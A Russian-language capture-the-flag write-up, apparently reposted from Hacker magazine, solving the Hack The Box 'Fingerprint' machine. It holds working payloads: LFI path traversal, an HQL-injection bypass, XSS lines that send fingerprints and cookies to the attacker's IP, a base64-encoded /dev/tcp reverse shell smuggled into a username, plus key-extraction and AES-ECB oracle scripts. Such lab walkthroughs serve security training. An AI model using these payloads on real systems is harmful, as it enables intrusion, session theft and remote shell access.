Хакер - HTB Fingerprint. Подделываем цифровой отпечаток для доступа к закрытому контенту
hacker_frei
RalfHacker
Содержание статьи
- Разведка
- Точка входа
- Точка опоры
- Продвижение
- Локальное повышение привилегий
В этом райтапе мы используем LFI для получения исходного кода приложения, XSS — для получения фингерпринта пользователя, обойдем авторизацию через HQL-инъекцию, заюзаем баг в приложении на Java и немного покодим на Python, чтобы получить приватный ключ. В заключение — разберем ошибку в шифровании и узнаем секрет!
Все это — в рамках прохождения «безумной» по сложности машины Fingerprint с площадки Hack The Box.
WARNING
Подключаться к машинам с HTB рекомендуется только через VPN. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.
РАЗВЕДКА
Сканирование портов
Добавляем IP-адрес машины в /etc/hosts:
10.10.11.127 fingerprint.htb
И запускаем сканирование портов.
Справка: сканирование портов
Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта.
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1
Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A).

Находим три открытых порта:
- 22 — служба OpenSSH 7.6p1;
- 80 — веб‑сервер Werkzeug httpd 1.0.1;
- 8080 — веб‑сервер GlassFish Open Source Edition 5.0.1.
Наша точка входа — это наверняка один из двух веб‑серверов. Но, изучив сайты, я ничего интересного не нашел. Давай тогда поищем скрытый контент.
Справка: сканирование веба c ffuf
Одно из первых действий при тестировании безопасности веб‑приложения — это сканирование методом перебора каталогов, чтобы найти скрытую информацию и недоступные обычным посетителям функции. Для этого можно использовать программы вроде dirsearch и DIRB.
Я предпочитаю легкий и очень быстрый ffuf. При запуске указываем следующие параметры:
-w— словарь (я использую словари из набора SecLists);-t— количество потоков;-u— URL;-fc— исключить из результата ответы с кодом 403.
Запускаем ffuf:
ffuf -u http://fingerprint.htb/FUZZ -t 256 -w directory_2.3_medium_lowercase.txt

ffuf -u http://fingerprint.htb:8080/FUZZ -t 256 -w directory_2.3_medium_lowercase.txt

Появляются новые интересные каталоги. Burp способен составлять карты сайта, чем мы и воспользуемся. В данном случае на построенной карте обнаружим конечные точки, которые мы бы долго искали при грубом сканировании.

Теперь важно найти место, откуда мы переходим к конечным точкам. История и поиск в Burp выводят нас на страницу /admin.

ТОЧКА ВХОДА
LFI
Через страницу /admin/view/ можно просматривать файлы, поэтому проверим, нет ли тут уязвимости чтения произвольных файлов в системе. Для перебора файлов я буду использовать Burp Intruder.

И простая последовательность /../..//etc/passwd отобразит нам содержимое файла /etc/passwd! Это также позволит нам узнать домашний каталог пользователя flask. А это означает доступ к исходникам сервера!

Стоит попробовать получить содержимое некоторых стандартных файлов. Так, app/__init__.py ничего не выводит, а app/app.py все же дает код приложения (путь /admin/view//../..//home/flask/app/app.py).

Теперь у нас есть ключ приложения (строка 19), а также видим импорт функции check из модуля auth (строка 8). Запросим этот файл:
/admin/view/../..//home/flask/app/auth.py

В строке 13 раскрывается файл базы данных с учетными данными. А в строке 16 с помощью функции build_safe_sql_where формируется запрос. Сама функция импортируется из модуля util. Получим следующие файлы:
/admin/view/../..//home/flask/app/users.db/admin/view/../..//home/flask/app/util.py


Из файла базы получаем учетные данные admin:u_will_never_guess_this_password. Используя их, можем авторизоваться на сайте и получить доступ к логам.

Больше здесь ничего добыть не можем.
HQL injection + XSS = fingerprint
Тогда попробуем авторизоваться с полученными учетными данными на другом сервисе. Конечно, там нас ждет неудача, но на странице логов размер файла увеличится.

А в самом файле будет указан адрес, логин и цифровой отпечаток пользователя, который попытался авторизоваться.

Так как логином и отпечатком мы можем оперировать при авторизации, есть возможность получить XSS. Но к этому вернемся чуть позже. На сервере используется база данных, а это значит, что стоит попробовать обойти аутентификацию. На GitHub есть много словарей типа auth bypass, и первая же нагрузка дает следующую ошибку.

Получаем ошибку JDBC, а это значит, что нужно выбрать нагрузки для HQL. Большая часть окажется заблокирована, но вот такая нагрузка дает результат:
x' OR SUBSTRING(username,1,1)='a' and ''='
Нам сообщают про неверный цифровой отпечаток (Invalid fingerprint ID).

Таким образом, нам нужно получить цифровой отпечаток администратора, в чем нам может помочь уязвимость XSS. Снова попытаемся авторизоваться на втором сервисе, но вместо фингерпринта отправим нагрузку:
<script src="http://10.10.14.156:4321/evil.js"></script>
Она будет загружать с нашего сервера скрипт с кодом alert('test').


Уязвимость присутствует, значит продолжаем. Обычно фингерпринт генерируется кодом на JS из множества параметров вроде размера экрана, названия и версии браузера и прочих признаков. Нам нужно найти этот код и записать в скрипт на нашем сервере. В Burp History можно увидеть загрузку скрипта login.js, он‑то нам и нужен.

Копируем содержимое скрипта и добавляем в конце код, который отправит сгенерированный фингерпринт на наш сервер:
location.href="https://justpaste.it/redirect/81i5v/http%3A%2F%2F10.10.14.156%3A4321%2F%3Fid%3D"+getFingerPrintID();
После повторного запроса на авторизацию получим фингерпринт на наш сервер.

Но и отправляя этот фингерпринт, мы получаем ту же ошибку: Invalid fingerprint - ID.

Дело в том, что HQL-нагрузка работает, если первый символ имени пользователя будет a. Но, видимо, мы получили фингерпринт другого пользователя. Тогда переберем первый символ имени пользователя с помощью Burp Intruder.



Мы выяснили, что первый символ логина — m, к тому же мы получаем доступ на сайт.

Кнопка для загрузки файла оказалась нерабочей. Тогда переключим внимание на идентификатор сессии пользователя — Cookie. Судя по структуре, это токен JWT, причем в поле данных содержится также закодированная информация.

Декодировав данные, получим какой‑то набор символов, в котором проглядываются строки. Скорее всего, на сайте используется сериализация объектов. К тому же мы видим что‑то похожее на логин и пароль.

ТОЧКА ОПОРЫ
Небезопасная десериализация
Повторим сканирование веб‑контента, только теперь будем искать файлы с расширением *.java.
ffuf -u 'http://fingerprint.htb:8080/backups/FUZZ.java' -t 256 -w directory_2.3_medium.txt

Получаем два файла. Скачиваем их для анализа.


Больше всего нас интересует файл User.java, так как он содержит объект, подлежащий сериализации. Теперь нам нужно создать проект, куда мы поместим User.java, сохраняя все пути.

Идея заключается в том, чтобы взять сериализованный объект из куки, десериализовать его в нашей программе, изменить имя пользователя на admin и сериализовать снова. Это позволит нам подменить куки. В User.java оставим все переменные, но сделаем только один метод для изменения имени пользователя.
package com.admin.security.src.model;
import java.io.Serializable;
public class User implements Serializable {
private static final long serialVersionUID = -7780857363453462165L;
protected int id;
protected String username;
protected String password;
protected String fingerprint;
public void setUsername(String username) {
this.username = username;
}
}
Теперь файл Main.java. Тут‑то мы и будем резвиться c нашим объектом.
import com.admin.security.src.model.User;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.util.Base64;
public class Main {
public static void main(String[] args) {
try {
String cookie = "rO0ABXNyACFjb20uYWRtaW4uc2VjdXJpdHkuc3JjLm1vZGVsLlVzZXKUBNdz41+5awIABEkAAmlkTAALZmluZ2VycHJpbnR0ABJMamF2YS9sYW5nL1N0cmluZztMAAhwYXNzd29yZHEAfgABTAAIdXNlcm5hbWVxAH4AAXhwAAAAA
nQAQDdlZjUyYzI1MWY4MDQ0Y2IxODcwMTM5OTI4OTFkMGU1OGNlOTE5NGRlN2Y1MzViMWI0ZmE2YmJmZTA4Njc4ZjZ0ABRMV2c3Z1VSMUVtWDdVTnhzSnhxWnQAC21pY2hlYWwxMjM1";
byte[] serializedUserBytes = Base64.getDecoder().decode(cookie);
ByteArrayInputStream serializedUserInputStream = new ByteArrayInputStream(serializedUserBytes);
ObjectInputStream objectInputStream = new ObjectInputStream(serializedUserInputStream);
User user = (User)objectInputStream.readObject();
user.setUsername("admin");
ByteArrayOutputStream serializedUserOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(serializedUserOutputStream);
objectOutputStream.writeObject(user);
String serializedAdminUserBase64 = Base64.getEncoder().encodeToString(serializedUserOutputStream.toByteArray());
System.out.println("New cookie: " + serializedAdminUserBase64);
}
catch (Exception e) {
System.out.println(e);
}
}
}
Настраиваем конфигурацию запуска.

И после старта получаем новый сериализованный объект. Новый JWT нужно будет переподписать, благо секретный ключ у нас есть. Для создания JWT используем jwt.io.


Вставив куки, мы получаем сессию администратора, но загрузка файлов до сих пор не работает.

Тогда будем дальше разбираться с исходными кодами. В обоих скачанных файлах есть импорт класса UserProfileStorage. При этом метод readObject вызывается в Profile.java.

Попробуем загрузить такой файл, а затем откроем для анализа.

Больше всего интересны строки 44–45, где формируется команда ОС, а потом и выполняется в терминале. Замыкает конвейер команда grep, к которой добавляется имя пользователя. Но это происходит, если проверка isAdminProfile успешна. При этом имя пользователя используется как название файла логов. Давай попробуем выполнить инъекцию команды ping, для чего используем следующее имя пользователя:
user.setUsername("test$(ping -c 4 10.10.14.156)/../admin");
После генерации куки, создания и применения JWT получаем заветный пинг (прослушиваем с помощью tcpdump -i tun0 icmp).

Так как уязвимость подтвердилась, прокинем простой реверс‑шелл. Для этого нагрузку /bin/sh -i >& /dev/tcp/10.10.14.156/5432 0>&1 закодируем в Base64 и создадим конвейер для ее запуска.
user.setUsername("test$(echo L2Jpbi9zaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4xNTYvNTQzMiAwPiYxCg== | base64 -d | bash)/../admin");
В окне листенера получаем бэкконнект.

ПРОДВИЖЕНИЕ
Теперь, когда мы получили доступ к хосту, нам необходимо собрать информацию. Источников много, я в таких случаях применяю скрипты PEASS.
Справка: скрипты PEASS
Что делать после того, как мы получили доступ в систему от имени пользователя? Вариантов дальнейшей эксплуатации и повышения привилегий может быть очень много, как в Linux, так и в Windows. Чтобы собрать информацию и наметить цели, можно использовать Privilege Escalation Awesome Scripts SUITE (PEASS) — набор скриптов, которые проверяют систему на автомате.
После выполнения скрипта нужно выбрать самую важную информацию, в этот раз обратим внимание на то, что:
- есть приложение
cmatchс выставленным битом SUID; - в каталоге
/var/backups/есть бэкап приложения на Flask; - для локалхоста прослушивается порт 8088.



Бэкап доступен только группе пользователя john, от имени которого и будет запускаться приложение /usr/bin/cmath. Само приложение представляет собой исполняемый файл ELF.

Скачиваем файл на локальный хост для анализа. Я буду использовать IDA Pro. Судя по декомпилированному коду, можно предположить, что приложение написано на языке Go. При запуске сразу проверяется количество аргументов программы.

Программа принимает два аргумента (строки 49–56): путь к файлу и строку. Затем открывается файл и производится посимвольное чтение (строки 57–88). В конце в считанном файле ищется строка и выводится сообщение о количестве вхождений подстроки.


В качестве теста проверим, что мы все правильно разобрали.

Так как приложение работает от имени пользователя john, мы можем получить доступ к любому файлу этого пользователя, в том числе и секретному ключу. А благодаря возможности узнать число вхождений подстроки в файл мы можем получить весь файл посимвольно! Суть в том, что, зная начало файла, мы сможем добавлять на каждом шаге по символу и перебирать его до тех пор, пока не будет ответа Found matches: 1. После этого переходить к подбору следующего символа.

Для посимвольного подбора я написал следующий скрипт. Он позволил получить весь секретный ключ.
import os
alf = [' ','a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', '
M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', '=', '/', '-', ':', ',', '1', '2', '3', '4', '5', '6', '7', '8', '9', '0', '\+', '\r', '\n', '\t']
cur_file = '-----BEGIN'
end_file = '-----END'
ind = 0
while(end_file not in cur_file):
for c in alf:
s = cur_file + c
count = os.popen(f'/usr/bin/cmatch /home/john/.ssh/id_rsa "{s}"').read()[15:]
if(int(count) == 1):
cur_file += c
print(cur_file)
break

Но авторизоваться мы все равно не можем, так как ключ зашифрован и требуется дополнительный пароль. В поисках пароля я решил пересмотреть исходные коды приложения. Так, при поиске подстроки passw получаем три файла.

Скачиваем первые два, открываем в декомпиляторе и во втором находим пароль гибернации.

С помощью этого пароля получилось расшифровать секретный ключ пользователя. Так мы забираем флаг пользователя и получаем стабильный доступ по SSH.

ЛОКАЛЬНОЕ ПОВЫШЕНИЕ ПРИВИЛЕГИЙ
Теперь мы можем получить доступ к бэкапу приложения на Flask. Скачиваем на локальный хост, распаковываем и читаем файл improvement.

В файле упоминается кастомное шифрование, используемое для контроля аутентификации. А если туннелировать весь трафик с локального порта 8088 на локальный порт 8088 удаленного хоста, то можно заметить, что на нем работает уже знакомое нам приложение.
ssh -L 8088:127.0.0.1:8088 -i id_rsa.john john@fingerprint.htb
Также просмотрим и исходные коды из бэкапа. Уязвимость произвольного чтения файлов так и осталась в функции logs_view(), но теперь читать файлы может только администратор.

В функции profile_update() раскрыт способ формирования куки: [имя_пользователя],[секрет],[true или false].

Куки шифруются с помощью AES ECB с размером блока 16 байт.

Но также сохранилась и уязвимость XSS, поэтому уже рассмотренным выше способом, но другой нагрузкой мы можем получить куки.
<script>document.location="http://10.10.14.156:4321/?q="+document.cookie</script>

Подставляем куки и попадаем на главную страницу сайта.

На сервере используется блочное шифрование, а функция profile_update() дает нам возможность изменить имя пользователя через параметр new_name. То есть мы можем изменять длину шифруемого сообщения. Таким образом на каждом последующем шаге мы можем перебирать следующий символ, заодно увеличивая сообщение. Как только сообщение без добавленного символа и сообщение с добавленным символом совпали, мы нашли нужный нам символ. Новый куки возвращается в заголовке Set-Cookie.

Набросаем простенький код, который реализует все описанное.
import requests
import string
john_cookie = {"user_id": "49f5f0062780bed62dc06bf4a8d2dd9cb5c3fda50e19a5a840262c26c001bb0338550635d9fd36fef81113d9fbd15805193308e099ee214406b0a87c0b6587fb"}
secret = ""
size = 1
while True:
for i in range(15, -1, -1):
username = "A" * (16+i)
prime_cookie = requests.post('http://127.0.0.1:8088/profile', data={"new_name": username}, cookies=john_cookie, allow_redirects=False).cookies.get('user_id')
for c in string.printable[:-5]:
test_username = "A" * (16+i) + secret + c
new_cookie = requests.post('http://127.0.0.1:8088/profile', data={"new_name": test_username}, cookies=john_cookie, allow_redirects=False).cookies.get('user_id')
if new_cookie[32*size : 32*(size+1)] == prime_cookie[32*size : 32*(size+1)]:
secret += c
break
print(secret)
if ",false" in secret:
exit()
size += 1

Так мы смогли расшифровать куки и получить секрет. Перед кодированием стоит обратить внимание на функцию load_user(), в которой выполняется проверка.

Сообщение разделяется по последовательностям из запятой, секрета и еще одной запятой. Первый элемент получившегося массива сравнивается с true. Тогда нам в качестве имени пользователя нужно передать последовательность имя,секрет,true,секрет.

У нас есть новые куки, попробуем для теста прочитать файл /etc/passwd.

Так как приложение работает от имени рута, прочитаем закрытый ключ пользователя.

Подключаемся по SSH и забираем флаг рута.

Машина захвачена!
Читайте ещё больше платных статей бесплатно: https://t.me/hacker_frei